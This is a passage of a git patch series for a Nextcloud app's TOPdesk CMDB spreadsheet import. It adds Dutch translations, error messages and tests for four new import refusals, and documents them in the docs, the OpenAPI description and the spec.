workbook is larger than {size}, the most the import reads.", + "Remove sheets the import does not read, such as the archive sheet, or split the export, and try again. Nothing was imported.": "Remove sheets the import does not read, such as the archive sheet, or split the export, and try again. Nothing was imported.", + "The \"{schema}\" schema of the stackiq register is out of date.": "The \"{schema}\" schema of the stackiq register is out of date.", + "The stackiq register is out of date.": "The stackiq register is out of date.", + "It lacks properties the import matches on. Press Force Update at the top of this page to import the register configuration again, then try again. Nothing was imported.": "It lacks properties the import matches on. Press Force Update at the top of this page to import the register configuration again, then try again. Nothing was imported.", + "Another CMDB import is running.": "Another CMDB import is running.", + "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.": "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.", + "{count} municipalities have this name.": "{count} municipalities have this name.", + "Several municipalities have this name.": "Several municipalities have this name.", + "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Choose the municipality from the list instead of typing its name. Nothing was imported." } } diff --git a/l10n/nl.js b/l10n/nl.js index 480626971..a43b9f0d7 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1180,7 +1180,17 @@ OC.L10N.register( "The workbook is too large to read once unpacked.": "Het werkboek is uitgepakt te groot om te lezen.", "The stackiq register is out of date; import its configuration again.": "Het stackiq-register is verouderd; importeer de configuratie ervan opnieuw.", "Another CMDB import is running; try again when it has finished.": "Er loopt al een andere CMDB-import; probeer het opnieuw wanneer die klaar is.", - "Several municipalities have this name; choose one from the list.": "Meerdere gemeenten hebben deze naam; kies er een uit de lijst." + "Several municipalities have this name; choose one from the list.": "Meerdere gemeenten hebben deze naam; kies er een uit de lijst.", + "Unpacked, the workbook is larger than {size}, the most the import reads.": "Uitgepakt is het werkboek groter dan {size}, het maximum dat de import leest.", + "Remove sheets the import does not read, such as the archive sheet, or split the export, and try again. Nothing was imported.": "Verwijder tabbladen die de import niet leest, zoals het archieftabblad, of splits de export, en probeer het opnieuw. Er is niets geïmporteerd.", + "The \"{schema}\" schema of the stackiq register is out of date.": "Het schema \"{schema}\" van het stackiq-register is verouderd.", + "The stackiq register is out of date.": "Het stackiq-register is verouderd.", + "It lacks properties the import matches on. Press Force Update at the top of this page to import the register configuration again, then try again. Nothing was imported.": "Het mist eigenschappen waarop de import records herkent. Klik bovenaan deze pagina op Force Update om de registerconfiguratie opnieuw te importeren en probeer het daarna opnieuw. Er is niets geïmporteerd.", + "Another CMDB import is running.": "Er loopt al een andere CMDB-import.", + "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.": "Er loopt maar één import tegelijk. Wacht tot die klaar is en probeer het opnieuw. Er is niets geïmporteerd.", + "{count} municipalities have this name.": "{count} gemeenten hebben deze naam.", + "Several municipalities have this name.": "Meerdere gemeenten hebben deze naam.", + "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Kies de gemeente uit de lijst in plaats van de naam te typen. Er is niets geïmporteerd." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 22b8f1941..beb5b8f1c 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1179,6 +1179,16 @@ "The workbook is too large to read once unpacked.": "Het werkboek is uitgepakt te groot om te lezen.", "The stackiq register is out of date; import its configuration again.": "Het stackiq-register is verouderd; importeer de configuratie ervan opnieuw.", "Another CMDB import is running; try again when it has finished.": "Er loopt al een andere CMDB-import; probeer het opnieuw wanneer die klaar is.", - "Several municipalities have this name; choose one from the list.": "Meerdere gemeenten hebben deze naam; kies er een uit de lijst." + "Several municipalities have this name; choose one from the list.": "Meerdere gemeenten hebben deze naam; kies er een uit de lijst.", + "Unpacked, the workbook is larger than {size}, the most the import reads.": "Uitgepakt is het werkboek groter dan {size}, het maximum dat de import leest.", + "Remove sheets the import does not read, such as the archive sheet, or split the export, and try again. Nothing was imported.": "Verwijder tabbladen die de import niet leest, zoals het archieftabblad, of splits de export, en probeer het opnieuw. Er is niets geïmporteerd.", + "The \"{schema}\" schema of the stackiq register is out of date.": "Het schema \"{schema}\" van het stackiq-register is verouderd.", + "The stackiq register is out of date.": "Het stackiq-register is verouderd.", + "It lacks properties the import matches on. Press Force Update at the top of this page to import the register configuration again, then try again. Nothing was imported.": "Het mist eigenschappen waarop de import records herkent. Klik bovenaan deze pagina op Force Update om de registerconfiguratie opnieuw te importeren en probeer het daarna opnieuw. Er is niets geïmporteerd.", + "Another CMDB import is running.": "Er loopt al een andere CMDB-import.", + "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.": "Er loopt maar één import tegelijk. Wacht tot die klaar is en probeer het opnieuw. Er is niets geïmporteerd.", + "{count} municipalities have this name.": "{count} gemeenten hebben deze naam.", + "Several municipalities have this name.": "Meerdere gemeenten hebben deze naam.", + "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Kies de gemeente uit de lijst in plaats van de naam te typen. Er is niets geïmporteerd." } } diff --git a/src/utils/cmdbImport.js b/src/utils/cmdbImport.js index 40d18a147..c2024cd03 100644 --- a/src/utils/cmdbImport.js +++ b/src/utils/cmdbImport.js @@ -376,6 +376,10 @@ const KNOWN_ERRORS = new Set([ 'MAPPING_UNAVAILABLE', 'READER_UNAVAILABLE', 'NOT_CONFIGURED', + 'WORKBOOK_TOO_LARGE', + 'SCHEMA_OUTDATED', + 'IMPORT_IN_PROGRESS', + 'MUNICIPALITY_AMBIGUOUS', 'OPERATION_NOT_FOUND', 'IMPORT_INTERRUPTED', 'NOT_SIGNED_IN', @@ -584,6 +588,64 @@ export function errorText(error) { 'The stackiq register or its schemas cannot be found. Run Auto Configure at the top of this page, then try again.', ), } + case 'WORKBOOK_TOO_LARGE': + return { + title: + Number(details.maxUncompressedBytes) > 0 + ? t( + 'stackiq', + 'Unpacked, the workbook is larger than {size}, the most the import reads.', + { size: formatMegabytes(details.maxUncompressedBytes) }, + AS_TEXT, + ) + : t( + 'stackiq', + 'The workbook is too large to read once unpacked.', + ), + hint: t( + 'stackiq', + 'Remove sheets the import does not read, such as the archive sheet, or split the export, and try again. Nothing was imported.', + ), + } + case 'SCHEMA_OUTDATED': + return { + title: details.schema + ? t( + 'stackiq', + 'The "{schema}" schema of the stackiq register is out of date.', + { schema: String(details.schema) }, + AS_TEXT, + ) + : t('stackiq', 'The stackiq register is out of date.'), + hint: t( + 'stackiq', + 'It lacks properties the import matches on. Press Force Update at the top of this page to import the register configuration again, then try again. Nothing was imported.', + ), + } + case 'IMPORT_IN_PROGRESS': + return { + title: t('stackiq', 'Another CMDB import is running.'), + hint: t( + 'stackiq', + 'Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.', + ), + } + case 'MUNICIPALITY_AMBIGUOUS': + return { + title: + Array.isArray(details.matches) && details.matches.length > 1 + ? t( + 'stackiq', + '{count} municipalities have this name.', + { count: String(details.matches.length) }, + AS_TEXT, + ) + : t('stackiq', 'Several municipalities have this name.'), + hint: t( + 'stackiq', + 'Choose the municipality from the list instead of typing its name. Nothing was imported.', + ), + } case 'OPERATION_NOT_FOUND': return { title: t('stackiq', 'This import is no longer running.'), diff --git a/src/utils/cmdbImport.spec.js b/src/utils/cmdbImport.spec.js index 802ff7ec8..34b852b4c 100644 --- a/src/utils/cmdbImport.spec.js +++ b/src/utils/cmdbImport.spec.js @@ -52,6 +52,10 @@ const SERVER_CODES = [ 'MAPPING_UNAVAILABLE', 'READER_UNAVAILABLE', 'NOT_CONFIGURED', + 'WORKBOOK_TOO_LARGE', + 'SCHEMA_OUTDATED', + 'IMPORT_IN_PROGRESS', + 'MUNICIPALITY_AMBIGUOUS', 'OPERATION_NOT_FOUND', 'IMPORT_INTERRUPTED', 'NOT_SIGNED_IN', @@ -272,6 +276,50 @@ describe('errorText', () => { ) }) + it('names the unpacked size limit the server applied', () => { + expect( + errorText({ + error: 'WORKBOOK_TOO_LARGE', + details: { maxUncompressedBytes: 100 * 1024 * 1024 }, + }).title, + ).toContain('100 MB') + expect(errorText({ error: 'WORKBOOK_TOO_LARGE', details: {} }).title).toBe( + 'The workbook is too large to read once unpacked.', + ) + }) + + it('names the outdated schema and points to Force Update', () => { + const words = errorText({ + error: 'SCHEMA_OUTDATED', + details: { schema: 'module', missing: ['externalKey'] }, + }) + expect(words.title).toBe( + 'The "module" schema of the stackiq register is out of date.', + ) + expect(words.hint).toContain('Force Update') + expect(errorText({ error: 'SCHEMA_OUTDATED', details: {} }).title).toBe( + 'The stackiq register is out of date.', + ) + }) + + it('asks to wait for the import that is running', () => { + expect(errorText({ error: 'IMPORT_IN_PROGRESS', details: {} }).hint).toContain( + 'Only one import runs at a time.', + ) + }) + + it('counts the municipalities with the typed name and asks to pick one', () => { + const words = errorText({ + error: 'MUNICIPALITY_AMBIGUOUS', + details: { matches: ['uuid-1', 'uuid-2', 'uuid-3'] }, + }) + expect(words.title).toBe('3 municipalities have this name.') + expect(words.hint).toContain('from the list') + expect( + errorText({ error: 'MUNICIPALITY_AMBIGUOUS', details: {} }).title, + ).toBe('Several municipalities have this name.') + }) + it('puts names from the details in as they are, for Vue to escape once', () => { const words = errorText({ error: 'MISSING_COLUMN', From a3c45d873de72e71774f3f89f168b6db74fc27d3 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 12:15:39 +0200 Subject: [PATCH 135/176] docs(cmdb-import): specify the workbook, register, lock and municipality refusals The engine refuses an import with WORKBOOK_TOO_LARGE (413), SCHEMA_OUTDATED (503), IMPORT_IN_PROGRESS (409) and MUNICIPALITY_AMBIGUOUS (422), imports an APPID on both sheets from the Beheerde sheet, and puts new owner contacts into a dedicated "Stackiq CMDB owners" address book. None of it was in the contract, the OpenAPI description, the spec or the docs page, and the docs still said owners land in the admin's first address book. The requirements now state each behaviour with a scenario for the refusal or the outcome, the contract and openapi.json list the codes with their status and details, and the docs page explains each error, the third profile limit and the address book. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 26 ++++++-- openapi.json | 16 ++++- .../changes/cmdb-export-import/contract.md | 13 ++-- openspec/changes/cmdb-export-import/design.md | 4 +- .../specs/cmdb-export-import/spec.md | 62 +++++++++++++++++-- 5 files changed, 101 insertions(+), 20 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index abf676a36..165641ab4 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -56,7 +56,9 @@ page in stackiq. the list, or type the name of a new one and press Enter. A typed name that matches an existing municipality (ignoring case and extra spaces) uses that municipality; otherwise a new organisation of type Municipality with - status Active is created during the import. + status Active is created during the import, and the result warns about + it. When more than one municipality has the typed name, the import is + refused (`MUNICIPALITY_AMBIGUOUS`): pick the right one from the list. 3. **File.** Choose the TOPdesk export (`.xlsx`, at most 10 MB by default; see [Limits](#limits)). 4. **Update existing records.** On by default. Turn it off to import only @@ -69,6 +71,11 @@ page in stackiq. accepted the cancel; one pressed before the server has started on the rows cannot take effect yet, and the section says so. +One import runs at a time. While an import is running, a second one, from +another administrator or another browser tab, is refused with +`IMPORT_IN_PROGRESS` and reads nothing; start it again when the first has +finished. + When the import finishes, the section shows: - the **summary**: rows read, created, updated, unchanged, skipped, failed @@ -210,10 +217,12 @@ owner's function in the person column; the import then uses that function as the contact's name. No technical owner is imported: the functional administrator (FB contactpersoon) is not read. -The identity is kept in **Nextcloud Contacts**, in the first writable -address book of the administrator who runs the import, the same as every -other stackiq contact. The CMDB sheets have no e-mail address, so a contact -is found by an exact match on the name, and created when there is none. The +The identity is kept in **Nextcloud Contacts**. A contact the import +creates goes into a dedicated address book, **Stackiq CMDB owners**, of the +administrator who runs the import; the import creates that address book the +first time it needs it. The import never adds owners to that administrator's +own address books. The CMDB sheets have no e-mail address, so a contact is +found by an exact match on the name, and created when there is none. The stackiq contact person object only holds the link to that contact, the role and the municipality. The same owner on several rows is one contact person. @@ -240,12 +249,16 @@ and the section shows the reason and the error code. | `NO_SOURCE_SHEET` | Neither `Onbeh Applicaties CMDB` nor `Beheerde Applicaties CMDB` is in the workbook. | Check the sheet names; they must match exactly. | | `MISSING_COLUMN` | A present CMDB sheet has no `APPID` or `Applicatie Naam` column. The message names the sheet and the column. | Add the column to that sheet. | | `TOO_MANY_ROWS` | A CMDB sheet has more rows with data than the row limit (10,000 by default). The message names the sheet and the limit. | Split the export and import the parts one after the other. | +| `WORKBOOK_TOO_LARGE` | Unpacked, the workbook is larger than the import reads (50 MB by default). An `.xlsx` is a compressed package, so a small file can unpack to far more. The message names the limit. | Remove sheets the import does not read, such as the archive sheet, or split the export. | +| `MUNICIPALITY_AMBIGUOUS` | More than one municipality has the typed name. The import does not guess which one. | Pick the municipality from the list instead of typing its name. | +| `IMPORT_IN_PROGRESS` | Another CMDB import is running. Only one import runs at a time. | Wait until it has finished and try again. | | `FIELD_INVALID` | A form field of the request has a value the import does not accept, for example an `updateExisting` that is neither `true` nor `false`. The message names the field. | Not reachable from the section; reported for API callers. | | `UPLOAD_FAILED` | The file reached the server but could not be stored there. | Try again; the Nextcloud log has the details. | | `MISSING_RECORDS_UNSUPPORTED` | The request asked to mark or remove records missing from the export. Only keeping them is supported. | Not reachable from the section; reported for API callers. | | `MAPPING_UNAVAILABLE` | OpenRegister's mapping engine is missing, or one of the mapping files is invalid. | Update OpenRegister. If you changed a mapping file, check it against the Nextcloud log. | | `READER_UNAVAILABLE` | The Excel reader that ships with OpenRegister cannot be loaded. | Make sure OpenRegister is installed and enabled. | | `NOT_CONFIGURED` | The stackiq register or its schemas cannot be found. | Run **Auto Configure** at the top of the stackiq admin settings. | +| `SCHEMA_OUTDATED` | A stackiq schema lacks a property the import recognises records by, for example `externalKey` on the module schema. Importing anyway would create every application again. The message names the schema. | Press **Force Update** at the top of the stackiq admin settings to import the register configuration again. | | `IMPORT_FAILED` | Something unexpected went wrong. | The Nextcloud log has the details. | **The connection was cut off.** The import runs in one request. When that @@ -264,13 +277,14 @@ page. ## Limits -Two limits are read from `lib/Settings/cmdb-import/topdesk-profile.json` on +Three limits are read from `lib/Settings/cmdb-import/topdesk-profile.json` on every import: | Setting | Default | What it limits | |---|---|---| | `maxFileBytes` | `10485760` (10 MB) | the size of the uploaded file | | `maxRowsPerSheet` | `10000` | the rows with data on one CMDB sheet | +| `maxUncompressedBytes` | `52428800` (50 MB) | the size of the workbook once unpacked, checked before a sheet is parsed | The section's help text shows the defaults; when the server refuses a file, the message shows the limit the server applied. A larger file also has to diff --git a/openapi.json b/openapi.json index 51a48e6b9..aef86ed5d 100644 --- a/openapi.json +++ b/openapi.json @@ -95,11 +95,21 @@ "403": { "description": "Not an admin of the stackiq settings" }, + "409": { + "description": "IMPORT_IN_PROGRESS: another CMDB import holds the register's lock; nothing is read or written", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportError" + } + } + } + }, "412": { "description": "Missing or invalid CSRF token" }, "413": { - "description": "FILE_TOO_LARGE; details.maxBytes is the limit that fired: the profile's maximum, or PHP's upload_max_filesize or post_max_size when lower", + "description": "FILE_TOO_LARGE; details.maxBytes is the limit that fired: the profile's maximum, or PHP's upload_max_filesize or post_max_size when lower. WORKBOOK_TOO_LARGE; the unpacked size of the workbook's parts is over the profile's limit, details.maxUncompressedBytes", "content": { "application/json": { "schema": { @@ -109,7 +119,7 @@ } }, "422": { - "description": "MISSING_RECORDS_UNSUPPORTED, MUNICIPALITY_REQUIRED, MUNICIPALITY_INVALID, NO_SOURCE_SHEET, MISSING_COLUMN or TOO_MANY_ROWS", + "description": "MISSING_RECORDS_UNSUPPORTED, MUNICIPALITY_REQUIRED, MUNICIPALITY_INVALID, MUNICIPALITY_AMBIGUOUS (more than one live Municipality has the typed name; details.matches lists their uuids), NO_SOURCE_SHEET, MISSING_COLUMN or TOO_MANY_ROWS", "content": { "application/json": { "schema": { @@ -129,7 +139,7 @@ } }, "503": { - "description": "MAPPING_UNAVAILABLE, READER_UNAVAILABLE or NOT_CONFIGURED", + "description": "MAPPING_UNAVAILABLE, READER_UNAVAILABLE, NOT_CONFIGURED, or SCHEMA_OUTDATED (a stackiq schema lacks a property the import matches on; details.schema names it and details.missing lists the properties)", "content": { "application/json": { "schema": { diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index ff5753166..846bc3990 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -56,13 +56,14 @@ Paths are relative to `/index.php/apps/stackiq`. | 400 | `NO_FILE_UPLOADED`, `NOT_XLSX`, `FIELD_INVALID` | | 401 | not signed in (Nextcloud) | | 403 | neither a Nextcloud admin nor a delegated stackiq admin (Nextcloud) | +| 409 | `IMPORT_IN_PROGRESS` | | 412 | missing or invalid CSRF token (Nextcloud) | -| 413 | `FILE_TOO_LARGE` | -| 422 | `MISSING_RECORDS_UNSUPPORTED`, `MUNICIPALITY_REQUIRED`, `MUNICIPALITY_INVALID`, `NO_SOURCE_SHEET`, `MISSING_COLUMN`, `TOO_MANY_ROWS` | +| 413 | `FILE_TOO_LARGE`, `WORKBOOK_TOO_LARGE` | +| 422 | `MISSING_RECORDS_UNSUPPORTED`, `MUNICIPALITY_REQUIRED`, `MUNICIPALITY_INVALID`, `MUNICIPALITY_AMBIGUOUS`, `NO_SOURCE_SHEET`, `MISSING_COLUMN`, `TOO_MANY_ROWS` | | 500 | `UPLOAD_FAILED` (PHP could not store the upload), `IMPORT_FAILED` (unexpected; generic message, details only in the log) | -| 503 | `MAPPING_UNAVAILABLE`, `READER_UNAVAILABLE`, `NOT_CONFIGURED` | +| 503 | `MAPPING_UNAVAILABLE`, `READER_UNAVAILABLE`, `NOT_CONFIGURED`, `SCHEMA_OUTDATED` | -Error body: `{"success": false, "error": "", "message": "", "details": {...}}`. `details` is always an object, empty when the code has none. For `MISSING_COLUMN`, `details` is `{"sheet": "...", "column": "..."}`. For `NO_SOURCE_SHEET`, it is `{"expected": ["Onbeh Applicaties CMDB", "Beheerde Applicaties CMDB"]}`. For `TOO_MANY_ROWS`, it is `{"sheet": "...", "limit": 10000}`. For `FILE_TOO_LARGE`, it is `{"maxBytes": 10485760}`: the profile's maximum, or PHP's `upload_max_filesize` / `post_max_size` when that is the lower limit that stopped the upload. For `MISSING_RECORDS_UNSUPPORTED`, it is `{"accepted": ["keep"]}`. For `FIELD_INVALID`, it names the field, plus the accepted values when the field has a fixed set: `{"field": "updateExisting", "accepted": ["true", "false"]}`, or `{"field": "municipalityName"}`. +Error body: `{"success": false, "error": "", "message": "", "details": {...}}`. `details` is always an object, empty when the code has none. For `MISSING_COLUMN`, `details` is `{"sheet": "...", "column": "..."}`. For `NO_SOURCE_SHEET`, it is `{"expected": ["Onbeh Applicaties CMDB", "Beheerde Applicaties CMDB"]}`. For `TOO_MANY_ROWS`, it is `{"sheet": "...", "limit": 10000}`. For `FILE_TOO_LARGE`, it is `{"maxBytes": 10485760}`: the profile's maximum, or PHP's `upload_max_filesize` / `post_max_size` when that is the lower limit that stopped the upload. For `WORKBOOK_TOO_LARGE`, it is `{"maxUncompressedBytes": 52428800}`, the profile's limit on the unpacked size. For `SCHEMA_OUTDATED`, it is `{"schema": "module", "missing": ["externalKey"]}`: the schema and the properties it lacks. For `MUNICIPALITY_AMBIGUOUS`, it is `{"matches": ["", ""]}`, the uuids of the municipalities with the typed name. `IMPORT_IN_PROGRESS` has no details. For `MISSING_RECORDS_UNSUPPORTED`, it is `{"accepted": ["keep"]}`. For `FIELD_INVALID`, it names the field, plus the accepted values when the field has a fixed set: `{"field": "updateExisting", "accepted": ["true", "false"]}`, or `{"field": "municipalityName"}`. ### `POST /api/cmdb-import/{operationId}/cancel` **Auth**: the same as the import: a Nextcloud admin or delegated stackiq admin session, plus CSRF token. @@ -97,12 +98,16 @@ Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progres | `FIELD_INVALID` | malformed field (400) | `updateExisting` is not `true`, `false`, `1` or `0`, or `missingRecords`, `municipalityUuid` or `municipalityName` is sent as an array (`name[]=…`) | | `MUNICIPALITY_REQUIRED` | no consumer | neither `municipalityUuid` nor `municipalityName` given | | `MUNICIPALITY_INVALID` | wrong consumer | uuid unknown, or the organisation is not of type Municipality | +| `MUNICIPALITY_AMBIGUOUS` | consumer not unique (422) | more than one live organisation of type Municipality (not `merged`, not `Inactive`) has the typed name after normalisation; the import does not guess and writes nothing | | `NO_SOURCE_SHEET` | nothing to read | neither "Onbeh Applicaties CMDB" nor "Beheerde Applicaties CMDB" present | | `MISSING_COLUMN` | required column absent | a present source sheet lacks "APPID" or "Applicatie Naam" | | `TOO_MANY_ROWS` | file too large to process | a source sheet has more non-empty rows than `maxRowsPerSheet` (10,000) | +| `WORKBOOK_TOO_LARGE` | unpacked too large (413) | the parts of the xlsx package add up to more than `maxUncompressedBytes` (50 MB) once unpacked; checked before PhpSpreadsheet parses a sheet | | `MAPPING_UNAVAILABLE` | mapping cannot run | OpenRegister's `MappingEngine`/`PackDefinitionValidator` missing, or a shipped pack is invalid | | `READER_UNAVAILABLE` | xlsx reader missing | PhpSpreadsheet's Xlsx reader cannot be loaded | | `NOT_CONFIGURED` | stackiq not configured (503) | OpenRegister's object service, the stackiq register, or the `module`, `organization`, `usage` or `contactPerson` schema cannot be resolved; checked before the file is read | +| `SCHEMA_OUTDATED` | register out of date (503) | the `module`, `organization`, `usage` or `contactPerson` schema lacks a property the import matches on (for example `module.externalKey`); importing the register configuration again adds it. Checked before the file is read | +| `IMPORT_IN_PROGRESS` | another import runs (409) | another CMDB import holds the register's lock; only one import runs per register at a time | | `OPERATION_NOT_FOUND` | unknown operation | cancel for an id without a running `cmdb_import` operation | | `IMPORT_FAILED` | unexpected error | anything not listed above | diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index 5ca7936a5..685902939 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -121,7 +121,7 @@ The key is the TOPdesk APPID (the ICT Applicatienummer), scoped to the municipal Per row: -1. A row without an APPID is skipped (`missing APPID`). An APPID already seen in this upload, on either sheet, is skipped (`duplicate APPID in file`). The CMDB sheets have no "Soort" column, so there is no row-kind filter. +1. A row without an APPID is skipped (`missing APPID`). An APPID already seen on the same sheet is skipped (`duplicate APPID in file`). An APPID on both sheets is imported from the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB"), whichever sheet the export lists first; the other row is skipped with that reason and a warning naming the APPID and the winning sheet. The CMDB sheets have no "Soort" column, so there is no row-kind filter. 2. Look up the module with `searchObjects` on the configured register and module schema, filtered on `externalKey`, with `_rbac: false` and `_multitenancy: false` (as `SbomImportService` does; the caller is an admin). The result is cached for the run. 3. No match: create the module from the mapped data, plus `externalKey`, the create-only defaults (`type: Application`), and `publicationDate` (D6). 4. Match and `updateExisting=false`: skip with reason `exists`. @@ -411,7 +411,7 @@ The seeds show the new properties in a fresh install. They carry no `publication ## Risks / Trade-offs - [The user sync might provision accounts for imported contact persons] → The import writes contact persons without e-mail or user fields on the OpenRegister object. A unit test runs `performUserSync`'s selection against an imported `contactPerson`. If the selection would pick it up, the implementation adds an explicit marker that excludes it before shipping, and does not ship otherwise. -- [Owner contacts land in the importing admin's address book] → `StackiqContactSyncService` writes to the first writable address book of the acting user, the same as every other stackiq contact path. The docs say so. A dedicated system address book is a follow-up. +- [Owner contacts land in the importing admin's address book] → A contact the import creates goes into a dedicated address book, "Stackiq CMDB owners" (URI stable across languages), of the acting user, created on first use (`StackiqContactSyncService::syncToNamedAddressBook()`), never into the user's own first writable address book. A system address book shared by every admin is a follow-up. - [Long synchronous request] → Per-row progress, cancel, and "unchanged" rows skip the save. About 1,100 rows is expected to fit. A background job is a follow-up if it does not. - [OpenRegister internals (`MappingEngine`, `PackDefinitionValidator`, PhpSpreadsheet) change shape] → Guarded resolution with 503, and a contract test that maps the fixture through the real engine in the dev environment. - [Lookups from the real export] → The maps hold the values the municipality's export of 2026-09-22 contains (2026-10-02 import report): "Applicatiesoort" is an application kind, kept as is in `applicationType`; "BNN Classificatie" holds `NB`, `1`, `2` and `2+`; "Applicatie Status" adds five Dutch statuses; "Classificatie" one numbered form. A new value is a warning, never a wrong value, and is added to the JSON map with no code change. A lookup `default` of `null` means "known, no value": the service leaves the field out. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 444e91056..0755bc6f4 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -51,7 +51,7 @@ Nextcloud OCP interfaces used: `OCP\IRequest` (multipart upload), `OCP\IUserSess ### Requirement: The workbook SHALL be read as stored data, without evaluating formulas or following links (REQ-CMDB-002) -The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). +The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). Before PhpSpreadsheet parses any sheet, the reader SHALL add up the unpacked sizes of the package's parts and SHALL stop with 413 `WORKBOOK_TOO_LARGE`, with `details.maxUncompressedBytes`, when they exceed the profile's `maxUncompressedBytes` (default 50 MB), so a small file that unpacks to far more cannot exhaust the server's memory. #### Scenario: A formula cell yields its cached value and is not evaluated @e2e exclude Reader behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture whose source sheet has a formula cell and asserts the cached value is returned and the calculation engine is never invoked. @@ -77,6 +77,14 @@ The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-dat - **THEN** no network request SHALL be made - **AND** the source sheets SHALL be read normally +#### Scenario: A workbook that unpacks beyond the limit is refused before it is parsed +@e2e exclude A browser upload adds nothing over the reader test; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php testAWorkbookThatUnpacksBeyondTheLimitIsRefusedBeforeParsing builds a package under the limit whose sheet unpacks beyond it and asserts 413 WORKBOOK_TOO_LARGE with the limit, before PhpSpreadsheet is reached, and tests/Unit/Controller/CmdbImportControllerTest.php asserts the status and the translated message. + +- **GIVEN** an xlsx package of a few kilobytes whose sheet XML unpacks to more than `maxUncompressedBytes` +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 413 with error `WORKBOOK_TOO_LARGE` and `details.maxUncompressedBytes` set to the limit +- **AND** no sheet SHALL be parsed and no object SHALL be written + ### Requirement: Columns SHALL be resolved by header name, and a missing required column SHALL stop the import with 422 (REQ-CMDB-003) The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB"; the "Invoer" sheets SHALL NOT be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). @@ -106,7 +114,7 @@ The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerd ### Requirement: Every import SHALL have exactly one consuming municipality, chosen by the admin (REQ-CMDB-004) -The request SHALL carry either `municipalityUuid`, the uuid of an existing stackiq `organization` of type `Municipality`, or `municipalityName`, a name for a new one. With a name, the service SHALL reuse an existing organisation of type `Municipality` with the same normalised name, or create one through the municipality pack (type `Municipality`, status `Active`). It SHALL answer 422 `MUNICIPALITY_REQUIRED` when neither is given, and 422 `MUNICIPALITY_INVALID` when the uuid does not resolve to an organisation of type `Municipality`. Every `usage` and `contactPerson` the import writes SHALL reference that organisation. +The request SHALL carry either `municipalityUuid`, the uuid of an existing stackiq `organization` of type `Municipality`, or `municipalityName`, a name for a new one. With a name, the service SHALL reuse the one live organisation of type `Municipality` (not `merged`, not `Inactive`) with the same normalised name, or, when there is none, create one through the municipality pack (type `Municipality`, status `Active`) and add an import-level warning saying so. When more than one live organisation of type `Municipality` has that normalised name, it SHALL NOT guess: it SHALL answer 422 `MUNICIPALITY_AMBIGUOUS` with their uuids in `details.matches`, and SHALL write nothing. It SHALL answer 422 `MUNICIPALITY_REQUIRED` when neither is given, and 422 `MUNICIPALITY_INVALID` when the uuid does not resolve to an organisation of type `Municipality`. Every `usage` and `contactPerson` the import writes SHALL reference that organisation. #### Scenario: The admin picks an existing municipality @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -131,6 +139,15 @@ The request SHALL carry either `municipalityUuid`, the uuid of an existing stack - **THEN** the endpoint SHALL answer 422 with error `MUNICIPALITY_REQUIRED` - **AND** no object 